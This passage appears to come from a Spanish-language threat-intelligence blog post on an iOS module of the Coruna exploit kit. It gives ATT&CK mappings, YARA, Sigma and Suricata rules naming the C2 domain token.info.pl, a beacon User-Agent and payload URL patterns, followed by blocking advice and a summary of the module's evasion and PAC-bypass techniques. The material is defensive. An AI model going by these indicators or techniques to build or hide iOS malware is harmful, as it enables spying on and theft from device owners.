0xAD000, 0xAD024, 0xAD00BCódigos de error internos (probablemente reportados vía logmsg)
0x648Tamaño del struct de configuración (1608 bytes)
"expand 32-byte k"Constante de inicialización de ChaCha20
/usr/libexec/corelliumdDetección de entorno Corellium

6.5 Behavioral Indicators (MITRE ATT&CK Mobile)

Al tratarse de un binario de iOS, el mapeo usa la matriz ATT&CK for Mobile.
TécnicaATT&CK IDEvidencia
Descubrimiento de información del sistema (hw.model, versión de iOS, uname)T1426Observado
Evasión de virtualización/sandbox: comprobaciones del sistema (Corellium, kern.bootargs, HOST_CAN_HAS_DEBUGGER, hw.l2cachesize)T1633.001Observado
Comprobación silenciosa del sandbox con SANDBOX_CHECK_NO_REPORTT1633.001Observado
Protocolo de capa de aplicación: protocolos web (HTTP/HTTPS con JSON)T1437.001Observado
Canal cifrado: criptografía simétrica (ChaCha20)T1521.001Inferido
Descarga de código nuevo en tiempo de ejecución (.min.js, cache flushing)T1407Inferido
Explotación para escalada de privilegios (otras etapas de la cadena Coruna)T1404Contexto de la cadena, no observado en este módulo

6.6 Reglas de Detección

YARA — Detección del módulo y de la configuración de carga

Validación: ambas reglas detectan la muestra de referencia (cada una su parte) y no generaron falsos positivos sobre ~209.000 archivos legítimos de Linux. Pendiente de validar contra un corpus de binarios legítimos de iOS.
/*
   Mihari Intelligence - Coruna iOS module
   Muestra de referencia:
     SHA-256 c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021
     MD5     de155c14985463939a02a7260d3e63fc
     Mach-O UUID 41d39e20-04a3-35f4-ac13-f6b200260386
   Licencia: TLP:CLEAR
*/


rule MIHARI_iOS_Coruna_Module_Dylib
{
    meta:
        author      = "Mihari Intelligence"
        description = "Modulo dylib arm64 de iOS asociado al kit Coruna: fingerprinting del dispositivo, deteccion de Corellium, chequeo de sandbox y beacon HTTP con User-Agent MobileStore/1.0"
        date        = "2026-10-12"
        reference   = "https://mihari-intelligence.blogspot.com/2026/10/desmontando-coruna-analisis-modulo-exploit-ios-bypass-pac.html"
        hash        = "c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021"
        tlp         = "CLEAR"
        confidence  = "high"

    strings:
        $ua      = "MobileStore/1.0" ascii
        $log     = "{\"cmd\":\"logmsg\",\"args\":{\"msg\":\"%s\"}}" ascii
        $evt1    = "{\\\"e\\\":%u,\\\"l\\\":%u}" ascii
        $evt2    = "{\\\"e\\\":%u,\\\"f\\\":\\\"%s\\\",\\\"l\\\":%u}" ascii
        $corell  = "/usr/libexec/corelliumd" ascii
        $xnu     = "xnu-%d.%d.%d.%d.%d%*s" ascii
        $cryptex = "/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist" ascii
        $ios1    = "IOSurfaceRoot" ascii
        $ios2    = "iokit-open-service" ascii
        $wc      = "WebContent" ascii
        $boot    = "kern.bootargs" ascii
        $chacha  = "expand 32-byte k" ascii
        $sbx     = "SANDBOX_CHECK_NO_REPORT" ascii

    condition:
        uint32(0) == 0xFEEDFACF                      // Mach-O 64-bit LE
        and uint32(4) == 0x0100000C                  // CPU_TYPE_ARM64
        and filesize < 2MB
        and (
            ($ua and $log and 2 of ($evt*))
            or 9 of them
        )
}

rule MIHARI_iOS_Coruna_Loader_Config_Memory
{
    meta:
        author      = "Mihari Intelligence"
        description = "Configuracion de carga Coruna en volcados de memoria o buffers: C2 c2.token.info.pl, landing group.html y payload .min.js con User-Agent de Safari iOS 15"
        date        = "2026-10-12"
        hash        = "c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021"
        tlp         = "CLEAR"
        confidence  = "medium"
        note        = "No exige cabecera Mach-O: pensada para volcados de memoria, PCAP reensamblados y artefactos de sysdiagnose"

    strings:
        $c2      = "c2.token.info.pl" ascii nocase
        $payload = /https?:\/\/[a-z0-9.\-]{4,64}\/[0-9a-f]{40}\.min\.js/ ascii
        $landing = /https?:\/\/[a-z0-9.\-]{4,64}\/group\.html/ ascii
        $ua15    = "iPhone OS 15_8_3 like Mac OS X" ascii
        $jsc     = "JSEvaluateScript" ascii

    condition:
        filesize < 50MB
        and ( $c2 or ($payload and $landing and ($ua15 or $jsc)) )
}

Sigma — Tráfico C2 en logs de proxy y DNS

Validación: las cuatro reglas cargan sin errores en pySigma. Están orientadas a logs de proxy y DNS porque iOS no expone llamadas a APIs privadas a un SIEM.
title: Coruna iOS - Conexion al C2 token.info.pl (proxy)
id: 4f1c6a2e-8b3d-4e7a-9c55-1d2e3f4a5b61
status: experimental
description: Detecta trafico web hacia la infraestructura C2 observada en la configuracion de carga del modulo Coruna para iOS (c2.token.info.pl).
references:
    - https://mihari-intelligence.blogspot.com/2026/10/desmontando-coruna-analisis-modulo-exploit-ios-bypass-pac.html
author: Mihari Intelligence
date: 2026-10-12
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        cs-host|endswith: 'token.info.pl'
    condition: selection
falsepositives:
    - Ninguno conocido. Verificar con DNS pasivo antes de bloquear en produccion.
level: high
---
title: Coruna iOS - Resolucion DNS del C2 token.info.pl
id: 7b2d9e14-3c6f-4a81-b2d7-5e8f9a0b1c72
status: experimental
description: Detecta consultas DNS al dominio C2 observado en la configuracion de carga del modulo Coruna para iOS.
references:
    - https://mihari-intelligence.blogspot.com/2026/10/desmontando-coruna-analisis-modulo-exploit-ios-bypass-pac.html
author: Mihari Intelligence
date: 2026-10-12
tags:
    - attack.command-and-control
    - attack.t1071.004
logsource:
    category: dns
detection:
    selection:
        query|endswith: 'token.info.pl'
    condition: selection
falsepositives:
    - Ninguno conocido.
level: high
---
title: Coruna iOS - User-Agent MobileStore/1.0
id: 9e3a1f57-6d2b-4c90-a8e4-2f7b6c5d4e83
status: experimental
description: |
    Detecta el User-Agent fijo MobileStore/1.0 usado por el modulo Coruna para su beacon HTTP.
    Solo visible en trafico HTTP en claro o con inspeccion TLS; el modulo admite http:// y https://.
references:
    - https://mihari-intelligence.blogspot.com/2026/10/desmontando-coruna-analisis-modulo-exploit-ios-bypass-pac.html
author: Mihari Intelligence
date: 2026-10-12
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-useragent: 'MobileStore/1.0'
    condition: selection
falsepositives:
    - Aplicaciones internas que usen ese User-Agent literal. Revisar destino y dispositivo.
level: medium
---
title: Coruna iOS - Patron de entrega group.html y payload .min.js desde iPhone
id: c5d8b2a0-1e4f-4b67-9d3c-8a7e6f5b4c94
status: experimental
description: |
    Busqueda (hunting) del patron de entrega del kit Coruna: pagina group.html seguida de un payload
    cuyo nombre es un hash SHA-1 hexadecimal con extension .min.js, solicitado desde Safari en iPhone.
references:
    - https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
author: Mihari Intelligence
date: 2026-10-12
tags:
    - attack.initial-access
    - attack.t1189
logsource:
    category: proxy
detection:
    selection_ua:
        c-useragent|contains: 'iPhone'
    selection_payload:
        c-uri|re: '/[0-9a-f]{40}\.min\.js$'
    selection_landing:
        c-uri|endswith: '/group.html'
    condition: selection_ua and (selection_payload or selection_landing)
falsepositives:
    - Sitios legitimos con una pagina group.html. Correlacionar con la reputacion del dominio.
level: low

Suricata — Tráfico C2 (DNS, TLS, HTTP)

Validación: las cinco reglas cargan en Suricata 7.0.3. Las reglas DNS, HTTP Host, User-Agent y .min.js dispararon correctamente con tráfico sintético, sin alertas sobre apple.com ni dominios similares. La regla de TLS SNI está validada solo en sintaxis. Los SID 1000101–1000105 pertenecen al rango local.
# Mihari Intelligence - Coruna iOS (TLP:CLEAR) - 2026-10-12
# Ref: hash c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021

alert dns $HOME_NET any -> any any (msg:"MIHARI Coruna iOS - DNS query a C2 token.info.pl"; dns.query; dotprefix; content:".token.info.pl"; endswith; nocase; classtype:trojan-activity; sid:1000101; rev:1; metadata:author Mihari_Intelligence, created_at 2026_10_12, confidence High;)

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"MIHARI Coruna iOS - TLS SNI hacia C2 token.info.pl"; flow:established,to_server; tls.sni; dotprefix; content:".token.info.pl"; endswith; nocase; classtype:trojan-activity; sid:1000102; rev:1; metadata:author Mihari_Intelligence, created_at 2026_10_12, confidence High;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MIHARI Coruna iOS - HTTP Host C2 token.info.pl"; flow:established,to_server; http.host; dotprefix; content:".token.info.pl"; endswith; nocase; classtype:trojan-activity; sid:1000103; rev:1; metadata:author Mihari_Intelligence, created_at 2026_10_12, confidence High;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MIHARI Coruna iOS - User-Agent MobileStore/1.0 hacia host no Apple"; flow:established,to_server; http.user_agent; content:"MobileStore/1.0"; bsize:15; http.host; content:!"apple.com"; endswith; classtype:trojan-activity; sid:1000104; rev:1; metadata:author Mihari_Intelligence, created_at 2026_10_12, confidence Medium;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MIHARI Coruna iOS - Descarga de payload SHA1.min.js desde iPhone (hunting)"; flow:established,to_server; http.method; content:"GET"; http.uri; pcre:"/\/[0-9a-f]{40}\.min\.js$/"; http.user_agent; content:"iPhone"; classtype:policy-violation; sid:1000105; rev:1; metadata:author Mihari_Intelligence, created_at 2026_10_12, confidence Low;)

6.7 Matriz de Correlación

Coruna es el exploit kit documentado por Google GTIG en marzo de 2026, con 23 vulnerabilidades agrupadas en cinco cadenas que cubren iOS 13.0 hasta 17.2.1. DarkSword, documentado posteriormente, ataca iOS 18.4 a 18.7. Plasma es un framework modular de robo de criptomonedas que, según Tencent Cloud Security, opera sobre Coruna. Kaspersky, por su parte, describe Coruna como una versión actualizada del framework usado en Operation Triangulation.

La siguiente tabla cruza lo observado en nuestra muestra con la información pública que lo respalda:
Observado en la muestraRespaldo público
Rango de iOS 13.0 – 17.2.x (cabecera y límites de versión)GTIG: Coruna cubre iOS 13.0 – 17.2.1
Página de entrega /group.htmlGTIG: decenas de URLs de entrega de Coruna terminan en group.html
Etapa siguiente servida como <sha1>.min.jsGTIG: los payloads binarios del kit se sirven desde URLs .min.js
Detecciones iOS/Coruna.A y HEUR:Trojan.IphoneOS.Coruna.aESET y Kaspersky (VirusTotal)
User-Agent MobileStore/1.0Sin referencia pública identificada (posible indicador original)
Dominio c2[.]token[.]info[.]plSin referencia pública identificada (posible indicador original)

6.8 Recomendaciones de Bloqueo

CapaAcción
Endpoint (MDM)Bloquear sideloading, forzar última versión iOS, exigir Lockdown Mode
DNS / ProxyBloquear token[.]info[.]pl y sus subdominios; alertar con las reglas Sigma de la sección 6.6
Red (NGFW / IDS)Desplegar las reglas Suricata de la sección 6.6; bloquear el User-Agent MobileStore/1.0 hacia destinos que no sean de Apple
Threat HuntingAplicar las reglas YARA de la sección 6.6 sobre binarios, volcados de memoria y artefactos de sysdiagnose
DFIREn dispositivos con iOS 13 – 17.2.x, revisar el historial de Safari en busca de visitas a páginas group.html de dominios desconocidos

6.9 Nota sobre Atribución

La combinación de técnicas observadas solapa con la infraestructura documentada por:
  • Tencent Cloud Security — framework Plasma, con módulos PLTextAnalyzer, PLNetConfig
  • Google GTIG — Coruna, con uso atribuido a UNC6353 (presunto espionaje ruso) y UNC6691 (actor financiero que opera desde China)
  • Kaspersky GReAT — reutilización de técnicas de Operation Triangulation
Además, VirusTotal etiqueta la muestra como trojan.coruna/iphoneos, con ESET y Kaspersky confirmando la familia Coruna en sus detecciones. No es posible atribuir el binario a un actor único sin análisis de la infraestructura C2 completa.

7. Conclusiones


Este binario es un módulo de la cadena Coruna que demuestra el nivel de sofisticación del kit:

  1. Instala un manejador SIGSEGV en espacio de usuario que re-firma con PAC el contador de programa guardado del hilo.
  2. Restringe su ejecución a iOS 13.0 – 17.2.x e implementa fingerprinting del dispositivo.
  3. Comprueba permisos del sandbox de forma silenciosa con SANDBOX_CHECK_NO_REPORT.
  4. Detecta entornos de análisis Corellium mediante comprobaciones de /usr/libexec/corelliumd y IOPlatformSerialNumber.
  5. Se comunica por HTTP/HTTPS con el User-Agent MobileStore/1.0 e incluye ChaCha20, probablemente para descifrar la etapa siguiente.
  6. Prepara shellcode dinámico mediante _sys_icache_invalidate y _sys_dcache_flush.
  7. Termina en silencio mediante _abort() y _exit(0) cuando las condiciones no se cumplen.
  8. Su volcado de memoria expone infraestructura no documentada públicamente: c2[.]token[.]info[.]pl.

La muestra está catalogada en VirusTotal como trojan.coruna.a (detección 8/63), con atribución directa a Coruna por parte de ESET y Kaspersky. El hecho de que los motores antivirus convencionales no detecten este binario en su totalidad subraya la necesidad de análisis estático profundo en ciberdefensa móvil.

8. Referencias

  1. Google Threat Intelligence Group (2026). Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit. https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
  2. Google Threat Intelligence Group (2026). DarkSword: A New iOS Exploit Chain. https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
  3. Kaspersky (2026). Kaspersky identifies Coruna exploit kit as updated version of Operation Triangulation framework. https://windows.kaspersky.co.uk/about/press-releases/kaspersky-identifies-coruna-exploit-kit-as-updated-version-of-operation-triangulation-framework
  4. Tencent Cloud Security (2026). Plasma Framework: Crypto Wallet Stealer on iOS. https://cloud.tencent.cn/developer/article/2657212
  5. Censys (2026). DarkSword/Coruna Open Directory Finding Report. https://censys.com/reports/darksword-coruna-open-directory-finding-report/
  6. Mallory (2026). PLASMAGRID Infrastructure Analysis. https://mallory.ai/actors/019cbfaf-a930-78b3-a213-b43aa77a2ca5
  7. iVerify (2026). Coruna: Inside the Nation-State-Grade iOS Exploit Kit We've Been Tracking. https://www.iverify.com/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
  8. MITRE ATT&CK for Mobile. https://attack.mitre.org/matrices/mobile/
  9. FoneArena (2026). DarkSword: iOS 18.4–18.7 Targeted by Zero-Click Exploit. https://www.fonearena.com/blog/477974/darksword-ios-exploit-chain-threat.html

Comentarios

Entradas populares